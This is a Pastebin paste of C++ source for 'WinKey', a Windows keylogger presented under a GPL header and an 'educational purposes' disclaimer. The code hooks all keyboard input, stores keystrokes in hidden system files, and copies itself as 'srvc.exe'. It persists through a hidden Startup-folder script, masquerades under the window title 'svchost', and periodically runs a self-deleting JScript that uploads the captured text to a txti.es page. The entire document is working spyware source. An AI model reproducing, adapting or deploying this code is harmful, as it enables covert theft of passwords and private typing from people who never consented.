Advertisement
Guest User

Untitled

a guest
Dec 1st, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 18.26 KB | None | 0 0
  1. /*
  2.  * WinKey -- A GPL Windows keylogging program. While this program can potentially
  3.  * be used for nefarious purposes, it was written for educational and recreational
  4.  * purposes only and the author does not endorse illegal use.
  5.  *
  6.  * This program is free software: you can redistribute it and/or modify
  7.  * it under the terms of the GNU General Public License as published by
  8.  * the Free Software Foundation, either version 3 of the License, or
  9.  * (at your option) any later version.
  10.  *
  11.  * This program is distributed in the hope that it will be useful,
  12.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  * GNU General Public License for more details.
  15.  *
  16.  * You should have received a copy of the GNU General Public License
  17.  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  18.  */
  19. #define UNICODE
  20. #define _UNICODE
  21.  
  22. #include <fstream>
  23. #include <iostream>
  24. #include <string>
  25. #include <sstream>
  26. #include <algorithm>
  27. #include <windows.h>
  28. #include <shlobj.h>
  29. #include <io.h>
  30. #include <string.h>
  31. #include <stdint.h>
  32. #include <tchar.h>
  33. #include <fcntl.h>
  34.  
  35.  
  36. // configuration
  37. #define OUTPUT_IN_MY_DOCUMENTS  true                /* If false, paths below should be full pahts ("C:\\Us...") */
  38. #define OUTFILE_NAME            "WinKey.log"        /* Output file */
  39. #define OUTFILE_NAME_TXTI       "WinKeySmall.log"   /* Output file which stores the keys that will go to txti.es next */
  40.  
  41. #define SERVER_UPDATE_FREQUENCY 15 * 60 * 1000      /* how frequently to update the server (in ms) */
  42. #define FIRST_UPDATE_TIME       30 * 1000           /* how long to wait for first server update from startup (in ms) */
  43.  
  44. #define FILE_WRITE_FREQUENCY    5 * 1000            /* how frequencly to update the output files (in ms) */
  45.  
  46.  
  47. #define EXE_NAME                "srvc.exe"
  48.  
  49.  
  50. #define CLASSNAME               "wink"
  51. #define WINDOWTITLE             "svchost"
  52.  
  53.  
  54.  
  55. #define IDT_TIMER_FIRST 1001 /* id of the first timer (respecting FIRST_UPDATE_TIME) */
  56. #define IDT_TIMER_PERIODIC 1002 /* id of the timer working all the time (respecting SERVER_UPDATE_FREQUENCY) */
  57. #define IDT_TIMER_SAVER 1003 /* id of the timer which saves the output to files (respecting FILE_WRITE_FREQUENCY) */
  58.  
  59. volatile int _positive_sp_check = 0;
  60. #define GUARD \
  61.     if(_positive_sp_check != 0) \
  62.         __asm__(".intel_syntax noprefix;\n\t" \
  63.             "add sp, 8\n" \
  64.             ".att_syntax prefix");
  65.  
  66.  
  67. static HHOOK    kbdhook;    /* Keyboard hook handle */
  68. static bool running;    /* Used in main loop */
  69.  
  70. static TCHAR outfile_path[2048] = { '\0' };
  71. static TCHAR outfile_path_txti[2048] = { '\0' };
  72.  
  73.  
  74. /* CRC-32C (iSCSI) polynomial in reversed bit order. */
  75. #define POLY_CRC32C 0x82f63b78
  76.  
  77. /* CRC-32 (Ethernet, ZIP, etc.) polynomial in reversed bit order. */
  78. #define POLY_CRC32 0xedb88320
  79.  
  80. template <int Poly>
  81. static uint32_t crc32c(uint32_t crc, const unsigned char *buf, size_t len) { GUARD
  82.     int k;
  83.  
  84.     crc = ~crc;
  85.     while (len--) {
  86.         crc ^= *buf++;
  87.         for (k = 0; k < 8; k++)
  88.             crc = crc & 1 ? (crc >> 1) ^ Poly : crc >> 1;
  89.     }
  90.     return ~crc;
  91. }
  92. #define TRANSLATION_IDENT  __DATE__ "!" __TIME__
  93.  
  94. static const uint32_t RAND_TXTI_URL = crc32c<POLY_CRC32C>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
  95. static const uint32_t RAND_TXTI_EDIT_CODE = crc32c<POLY_CRC32>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
  96.  
  97.  
  98. static std::string buffer;
  99.  
  100. static DWORD garbage = 0;
  101.  
  102. static inline bool isCapsLockDown() { GUARD
  103.     return GetKeyState(VK_CAPITAL) & 0x1;
  104. }
  105.  
  106. /**
  107.  * \brief Called by Windows automagically every time a key is pressed (regardless
  108.  * of who has focus)
  109.  */
  110.  
  111. __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp) { GUARD
  112.  
  113.     if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  114.         static bool capslock = isCapsLockDown();
  115.         static bool shift = false;
  116.         char tmp[0xFF] = {0};
  117.         std::string str;
  118.         DWORD msg = 1;
  119.         KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  120.         bool printable;
  121.  
  122.         /*
  123.          * Get key name as string
  124.          */
  125.         msg += (st_hook.scanCode << 16);
  126.         msg += (st_hook.flags << 24);
  127.         GetKeyNameTextA(msg, tmp, 0xFF);
  128.         str = std::string(tmp);
  129.  
  130.         printable = (str.length() <= 1) ? true : false;
  131.  
  132.         /*
  133.          * Non-printable characters only:
  134.          * Some of these (namely; newline, space and tab) will be
  135.          * made into printable characters.
  136.          * Others are encapsulated in brackets ('[' and ']').
  137.          */
  138.         if (!printable) {
  139.             /*
  140.              * Keynames that change state are handled here.
  141.              */
  142.             if (str == "CAPSLOCK")
  143.                 capslock = !capslock;
  144.             else if (str == "SHIFT")
  145.                 shift = true;
  146.  
  147.             /*
  148.              * Keynames that may become printable characters are
  149.              * handled here.
  150.              */
  151.             if (str == "ENTER") {
  152.                 str = "\n";
  153.                 printable = true;
  154.             } else if (str == "SPACE") {
  155.                 str = " ";
  156.                 printable = true;
  157.             } else if (str == "TAB") {
  158.                 str = "\t";
  159.                 printable = true;
  160.             } else {
  161.                 str = ("[" + str + "]");
  162.             }
  163.         }
  164.  
  165.         /*
  166.          * Printable characters only:
  167.          * If shift is on and capslock is off or shift is off and
  168.          * capslock is on, make the character uppercase.
  169.          * If both are off or both are on, the character is lowercase
  170.          */
  171.         if (printable) {
  172.             if (shift == capslock) { /* Lowercase */
  173.                 for (size_t i = 0; i < str.length(); ++i)
  174.                     str[i] = tolower(str[i]);
  175.             } else { /* Uppercase */
  176.                 for (size_t i = 0; i < str.length(); ++i) {
  177.                     if (str[i] >= 'A' && str[i] <= 'Z') {
  178.                         str[i] = toupper(str[i]);
  179.                     }
  180.                 }
  181.             }
  182.  
  183.             shift = false;
  184.         }
  185.  
  186. #ifdef DEBUG
  187.         std::wcout << str;
  188. #endif
  189.         buffer.append(str);
  190.     }
  191.  
  192.     return CallNextHookEx(kbdhook, code, wp, lp);
  193. }
  194.  
  195. static void hide_file(LPCTSTR filename) { GUARD
  196.     DWORD dwAttrs = GetFileAttributes(filename);
  197.  
  198.     if (dwAttrs == INVALID_FILE_ATTRIBUTES)
  199.         return;
  200.  
  201.     SetFileAttributes(filename, dwAttrs | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  202. }
  203.  
  204. static void savetofile(const TCHAR *path) { GUARD
  205.     HANDLE file = CreateFile(path,
  206.                              FILE_APPEND_DATA,
  207.                              FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
  208.                              NULL,
  209.                              OPEN_ALWAYS,
  210.                              FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
  211.                              NULL);
  212.  
  213.     if(file == INVALID_HANDLE_VALUE)
  214.         return;
  215.  
  216.     if(SetFilePointer(file, 0L, NULL, FILE_END) == INVALID_SET_FILE_POINTER)
  217.         goto err;
  218.  
  219.     if(WriteFile(file, buffer.c_str(), buffer.size(), &garbage, NULL) == FALSE)
  220.         goto err;
  221.  
  222. err:
  223.     CloseHandle(file);
  224. }
  225.  
  226. static void savedata() { GUARD
  227.     if(buffer.empty())
  228.         return;
  229.  
  230.     savetofile(outfile_path);
  231.     savetofile(outfile_path_txti);
  232.  
  233.     buffer.clear();
  234. }
  235.  
  236. static void try_sending(const bool empty) { GUARD
  237.     std::wstring outf = outfile_path;
  238.     outf += L".js";
  239.  
  240.     DeleteFile(outf.c_str());
  241.  
  242.  
  243.     std::stringstream ss;
  244.     ss << ';' << ";" // why
  245.         << "var name = '" << RAND_TXTI_URL << "';"
  246.         "var pass = '" << RAND_TXTI_EDIT_CODE << "';"
  247.         "var content_file = WScript.arguments.item(0);"
  248.         ""
  249.         "var fs = WScript.CreateObject('Scripting.FileSystemObject');"
  250.         "var get = WScript.CreateObject('msxml2.xmlhttp.6.0');"
  251.         "var post = WScript.CreateObject('msxml2.xmlhttp.6.0');"
  252.         ""
  253.         "function end(c) {"
  254.             "fs.GetFile(WScript.ScriptFullName).Delete(true);"
  255.             "WScript.Quit(c);"
  256.         "}"
  257.         ""
  258.         << (empty
  259.             ?
  260.                 "var content = '[log start]';"
  261.             :
  262.                 "try {"
  263.                     "var file = fs.OpenTextFile(content_file, 1);"
  264.                     "var content = '\\n\\n##' + new Date() + '\\n\\n' + file.ReadAll();"
  265.                     "file.Close();"
  266.                 "} catch (e) {"
  267.                     "end(1);"
  268.                 "}") <<
  269.         "get.open('GET', 'http://txti.es/' + name + '/edit', false);"
  270.         "get.send();"
  271.         "if(get.status >= 200 && get.status < 300) {"
  272.             "var page = get.responseText;"
  273.             "var page_id = page.split('name=\"page_id\" value=\"')[1].split('\"')[0];"
  274.             "var old_content = page.split('<textarea class=\"text-input\" id=\"content-input\" name=\"content\">')[1].split('</textarea>')[0];"
  275.             ""
  276.             "post.open('POST', 'http://txti.es/' + name + '/edit', false);"
  277.             "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
  278.             "post.send('content=' + escape(old_content) + escape(content) +"
  279.                 "'&custom_url=' + escape(name) +"
  280.                 "'&edit_code=' + escape(pass) +"
  281.                 "'&page_id=' + escape(page_id) +"
  282.                 "'&form_level=3&update=1');"
  283.         "} else if(get.status == 404) {"
  284.             "post.open('POST', 'http://txti.es', false);"
  285.             "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
  286.             "post.send('content=' + escape(content) +"
  287.                 "'&custom_url=' + escape(name) +"
  288.                 "'&custom_edit_code=' + escape(pass) +"
  289.                 "'&form_level=2&submit=1&username=');"
  290.         "} else {"
  291.             "end(2);"
  292.         "}"
  293.         ""
  294.         "if(post.status >= 200 && post.status < 300) {"
  295.             "try {"
  296.             << (empty ? "" : "fs.GetFile(content_file).Delete(true);") <<
  297.             "} catch(e) {}"
  298.         "}"
  299.         ""
  300.         "end(0);";
  301.  
  302.         HANDLE file = CreateFile(outf.c_str(),
  303.                              GENERIC_WRITE,
  304.                              FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
  305.                              NULL,
  306.                              OPEN_ALWAYS,
  307.                              FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
  308.                              NULL);
  309.  
  310.         if(file != INVALID_HANDLE_VALUE) {
  311.             std::string script(ss.str());
  312.             WriteFile(file, script.c_str(), script.size(), &garbage, NULL);
  313.             CloseHandle(file);
  314.         }
  315.  
  316.         hide_file(outf.c_str());
  317.  
  318.         std::wstring logfile(L"\"");
  319.         logfile += outfile_path_txti;
  320.         logfile += L"\"";
  321.         std::replace(logfile.begin(), logfile.end(), '\\', '/');
  322.  
  323.         ShellExecute(NULL, L"open", outf.c_str(), logfile.c_str(), NULL, SW_SHOW);
  324. }
  325.  
  326. /**
  327.  * \brief Called by DispatchMessage() to handle messages
  328.  * \param hwnd  Window handle
  329.  * \param msg   Message to handle
  330.  * \param wp
  331.  * \param lp
  332.  * \return 0 on success
  333.  */
  334. LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { GUARD
  335.  
  336.     switch (msg) {
  337.         case WM_CLOSE:
  338.         case WM_DESTROY:
  339.             running = false;
  340.             break;
  341.         case WM_TIMER:
  342.             std::wcout << L"Got timer: " << wp << L"\n";
  343.             if(wp == IDT_TIMER_FIRST) {
  344.                 static bool already_fired = false;
  345.                 if(already_fired)
  346.                     break;
  347.                 already_fired = true;
  348.  
  349.                 try_sending(false);
  350.  
  351.                 SetTimer(hwnd, IDT_TIMER_PERIODIC, SERVER_UPDATE_FREQUENCY, (TIMERPROC) NULL);
  352.                 KillTimer(hwnd, IDT_TIMER_FIRST);
  353.                 break;
  354.             } else if(wp == IDT_TIMER_PERIODIC) {
  355.                 try_sending(false);
  356.                 break;
  357.             } else if(wp == IDT_TIMER_SAVER) {
  358.                 savedata();
  359.                 break;
  360.             }
  361.             /* [[fallthrough]] */
  362.         default:
  363.             /* Call default message handler */
  364.             return DefWindowProc(hwnd, msg, wp, lp);
  365.     }
  366.  
  367.     return 0;
  368. }
  369.  
  370.  
  371. static bool paths_equal(const TCHAR *path1, const TCHAR *path2) { GUARD
  372.     TCHAR path1short[MAX_PATH] = { '\0' };
  373.     TCHAR path2short[MAX_PATH] = { '\0' };
  374.  
  375.     GetShortPathName(path1, path1short, MAX_PATH);
  376.     GetShortPathName(path2, path2short, MAX_PATH);
  377.  
  378.     return _tcsncmp(path1short, path2short, MAX_PATH) == 0;
  379. }
  380.  
  381. static std::wstring get_path_to_myself() { GUARD
  382.     TCHAR fileName[2048] = { '\0' };
  383.     DWORD length = GetModuleFileName(NULL, fileName, 2047);
  384.  
  385.     if(length <= 0) // can't get the path
  386.         return L"";
  387.  
  388.     return std::wstring(fileName, length);
  389. }
  390.  
  391. static std::wstring get_path_to_special_folder(int special_folder_csidl) { GUARD
  392.     TCHAR path[MAX_PATH] = { '\0' };
  393.     SHGetFolderPath(NULL, special_folder_csidl, NULL, 0, path);
  394.     return std::wstring(path);
  395. }
  396.  
  397.  
  398. /**
  399.  * \return true if the program should end
  400.  */
  401. static bool setup_autostart(LPSTR cmdline) { GUARD
  402.     std::wstring startup_js = get_path_to_special_folder(CSIDL_STARTUP) + L"\\.js";
  403.     std::wstring my_documents = get_path_to_special_folder(CSIDL_PERSONAL);
  404.     std::wstring exe = my_documents + L"\\" TEXT(EXE_NAME);
  405.     std::wstring myself = get_path_to_myself();
  406.  
  407. #if OUTPUT_IN_MY_DOCUMENTS == true
  408.     _tcscat(outfile_path, my_documents.c_str());
  409.     _tcscat(outfile_path, L"\\");
  410.  
  411.     _tcscat(outfile_path_txti, my_documents.c_str());
  412.     _tcscat(outfile_path_txti, L"\\");
  413. #endif
  414.     _tcscat(outfile_path, TEXT(OUTFILE_NAME));
  415.     _tcscat(outfile_path_txti, TEXT(OUTFILE_NAME_TXTI));
  416.  
  417.     std::wcout << L"Setting up " << startup_js << '\n';
  418.     {
  419.         std::string script("var sh = WScript.createOBJect('Wscript.sHELL');\r\n"
  420.                 "sh.Run('\"' + sh.SpecialFolders('MyDocuments') + '\\\\" EXE_NAME "\" --a', +(!1));\r\n");
  421.  
  422.         DeleteFile(startup_js.c_str());
  423.         Sleep(200);
  424.         HANDLE file = CreateFile(startup_js.c_str(),
  425.                              GENERIC_WRITE,
  426.                              FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
  427.                              NULL,
  428.                              OPEN_ALWAYS,
  429.                              FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
  430.                              NULL);
  431.         std::wcout << script.c_str() << L"\n";
  432.         if(file != INVALID_HANDLE_VALUE && WriteFile(file, script.c_str(), script.size(), &garbage, NULL) != FALSE) {
  433.             std::wcout << L"ok\n";
  434.         } else {
  435.             std::wcout << L"error " << GetLastError() << '\n';
  436.         }
  437.         if(file != INVALID_HANDLE_VALUE)
  438.             CloseHandle(file);
  439.     }
  440.  
  441.     if(!paths_equal(myself.c_str(), exe.c_str())) {
  442.         std::wcout << L"\nCopying myself to " << exe << '\n';
  443.         DeleteFile(exe.c_str());
  444.         Sleep(200);
  445.         if(CopyFile(myself.c_str(), exe.c_str(), FALSE) != 0) {
  446.             std::wcout << L"ok\n";
  447.         } else {
  448.             std::wcout << L"error " << GetLastError() << '\n';
  449.         }
  450.     }
  451.  
  452.     hide_file(startup_js.c_str());
  453.     hide_file(exe.c_str());
  454.  
  455.     if(_taccess(startup_js.c_str(), 0) == 0
  456.        && _taccess(exe.c_str(), 0) == 0
  457.        && strstr(cmdline, "--a") != NULL) {
  458.         return false;
  459.     }
  460.  
  461.     ShellExecute(NULL, L"open", startup_js.c_str(), NULL, NULL, SW_SHOW);
  462.  
  463.     std::wcout << L"\n\ndone\n";
  464.     std::wcout << L"Output will be written to " << outfile_path << "\n\n";
  465.  
  466.     std::wcout << L"Setting up online output..\n";
  467.     try_sending(true);
  468.  
  469.     std::wcout << L"\n\nOnline output URL:\n";
  470.     std::wcout << L"http://txti.es/" << RAND_TXTI_URL << L"\n";
  471.  
  472.     std::wcout << L"\nOpening in browser..";
  473.     /* Wait a moment so that the webpage is actually created */
  474.     Sleep(2500);
  475.  
  476.     std::wstringstream url;
  477.     url << L"http://txti.es/" << RAND_TXTI_URL;
  478.     std::wstring urlstr = url.str();
  479.     ShellExecute(NULL, L"open", urlstr.c_str(), NULL, NULL, SW_SHOW);
  480.  
  481.     return true;
  482. }
  483.  
  484.  
  485. int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  486.         LPSTR cmdline, int ncmdshow)
  487. { GUARD
  488.     // enable console buffering
  489.     setvbuf(stdout, 0, _IOLBF, 4096);
  490.  
  491.     // Enable UTF-16 output
  492.     _setmode(_fileno(stdout), 0x20000); // _O_U16TEXT
  493.  
  494.     if(strstr(cmdline, "--secret") != NULL) {
  495.         std::wstring in_my_documents = (OUTPUT_IN_MY_DOCUMENTS ? L" located in My Documents" : L"");
  496.  
  497.         std::wcout << L"Full output is in " TEXT(OUTFILE_NAME) << in_my_documents << L"\n";
  498.         std::wcout << L"Output until next online update is in " TEXT(OUTFILE_NAME_TXTI) << in_my_documents << L"\n\n";
  499.         std::wcout << L"Online page with output is http://txti.es/" << RAND_TXTI_URL << L"\n";
  500.         std::wcout << L"Edit code is " << RAND_TXTI_EDIT_CODE << L"\n";
  501.         return 0;
  502.     }
  503.  
  504.     if(setup_autostart(cmdline))
  505.         return 0;
  506.  
  507.     buffer = "[program startup]";
  508.  
  509.     /*
  510.      * Set up window
  511.      */
  512.     HWND        hwnd;
  513.     HWND        fgwindow = GetForegroundWindow(); /* Current foreground window */
  514.     MSG     msg;
  515.     WNDCLASSEX  windowclass;
  516.     HINSTANCE   modulehandle;
  517.  
  518.     windowclass.hInstance = thisinstance;
  519.     windowclass.lpszClassName = TEXT(CLASSNAME);
  520.     windowclass.lpfnWndProc = windowprocedure;
  521.     windowclass.style = CS_DBLCLKS;
  522.     windowclass.cbSize = sizeof(WNDCLASSEX);
  523.     windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  524.     windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
  525.     windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
  526.     windowclass.lpszMenuName = NULL;
  527.     windowclass.cbClsExtra = 0;
  528.     windowclass.cbWndExtra = 0;
  529.     windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
  530.  
  531.     if (!(RegisterClassEx(&windowclass)))
  532.         return 1;
  533.  
  534.     hwnd = CreateWindowEx(0, TEXT(CLASSNAME), TEXT(WINDOWTITLE), WS_OVERLAPPEDWINDOW,
  535.             CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
  536.             thisinstance, NULL);
  537.     if (!(hwnd))
  538.         return 1;
  539.  
  540.     /*
  541.      *  Make the window visible
  542.      */
  543.     ShowWindow(hwnd, SW_SHOW);
  544.  
  545.     UpdateWindow(hwnd);
  546.     SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
  547.  
  548.     /*
  549.      * Hook keyboard input so we get it too
  550.      */
  551.     modulehandle = GetModuleHandle(NULL);
  552.     kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, 0);
  553.  
  554.  
  555.     SetTimer(hwnd, IDT_TIMER_FIRST, FIRST_UPDATE_TIME, (TIMERPROC) NULL);
  556.     SetTimer(hwnd, IDT_TIMER_SAVER, FILE_WRITE_FREQUENCY, (TIMERPROC) NULL);
  557.  
  558.     //try_sending(false);
  559.  
  560.     //GetWindowsDirectory((LPSTR)windir, MAX_PATH);
  561.  
  562.     running = true;
  563.  
  564.     /*
  565.      * Main loop
  566.      */
  567.     while (running) {
  568.         /*
  569.          * Get messages, dispatch to window procedure
  570.          */
  571.         if (!GetMessage(&msg, NULL, 0, 0))
  572.             running = false; /*
  573.                       * This is not a "return" or
  574.                       * "break" so the rest of the loop is
  575.                       * done. This way, we never miss keys
  576.                       * when destroyed but we still exit.
  577.                       */
  578.         TranslateMessage(&msg);
  579.         DispatchMessage(&msg);
  580.     }
  581.  
  582.     return 0;
  583. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement